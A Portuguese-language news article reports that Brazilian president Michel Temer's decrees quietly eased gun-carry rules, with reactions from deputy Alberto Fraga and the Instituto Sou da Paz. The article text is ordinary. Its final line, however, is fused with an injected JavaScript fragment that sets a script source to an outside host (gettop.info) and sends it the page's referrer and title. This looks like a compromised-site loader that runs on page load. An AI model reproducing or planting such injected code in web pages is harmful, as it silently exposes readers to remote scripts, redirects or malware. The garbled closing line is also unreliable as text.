Na surdina, Temer flexibiliza Estatuto do Desarmamento

Armamento apreendido agora é usado pelas polícias. Antes, tudo era incinerado. Foto: Raphael Alves

Sem alarde, o Palácio do Planalto tem aliviado as regras para o porte de arma no Brasil. As novas normas foram aprovadas pelo Exército e entraram em vigor por meio de decretos assinados pelo presidente Michel Temer. As informações foram publicadas primeiramente no jornal O Globo.

Dentre as ações, estão a ampliação da validade do porte de armas, de três para cinco anos. Além disso, as Forças Armadas e as polícias poderão usar o armamento apreendido em operações – até então tudo era incinerado. Após decreto de Temer, o atestado de capacidade técnica, que prova a habilidade para manusear uma arma, terá que ser renovado em 10 anos. Antes, a renovação acontecia após três anos.

Um dos principais defensores do porte de armas no Congresso Nacional, o deputado Alberto Fraga (DEM-DF) falou com o Brasília Capital e negou que esteja havendo um relaxamento por parte do governo com relação ao porte de armas. De acordo com o parlamentar, a única alteração que houve foi o aumento de cinco para dez anos no prazo de vigência para atestado de capacidade técnica. O deputado ataca o PT, afirmando que os governos petistas “aparelharam a Polícia Federal para não permitir que o cidadão de bem tenha uma arma”.

Nos bastidores, os decretos estariam sendo publicados para que Temer garanta o apoio da Bancada da Bala na aprovação de medidas como as reformas da Previdência e trabalhista. Fraga, presidente da chamada frente parlamentar da Segurança Pública também nega esta versão. “Há um exagero por parte da imprensa”, alega. Atualmente, a bancada é a maior da Câmara, com 316 dos 513 deputados.

Entidades que defendem os direitos humanos, porém, criticam as medidas do governo e defendem que as mudanças sejam analisadas pelo Congresso Nacional antes de entrarem em vigor. “Na nossa opinião é um prazo muito elevado considerando que, em dez anos, é muito possível que você perca uma habilidade motora, tenha um problema de visão, ou seja, alguma questão que vai te tornar mais inapto ao uso dessa arma de fogo em 10 anos”, diz o coordenador do Instituto Sou da Paz, Felippe Angeli.

Leia a íntegra da matéria d’O Globos.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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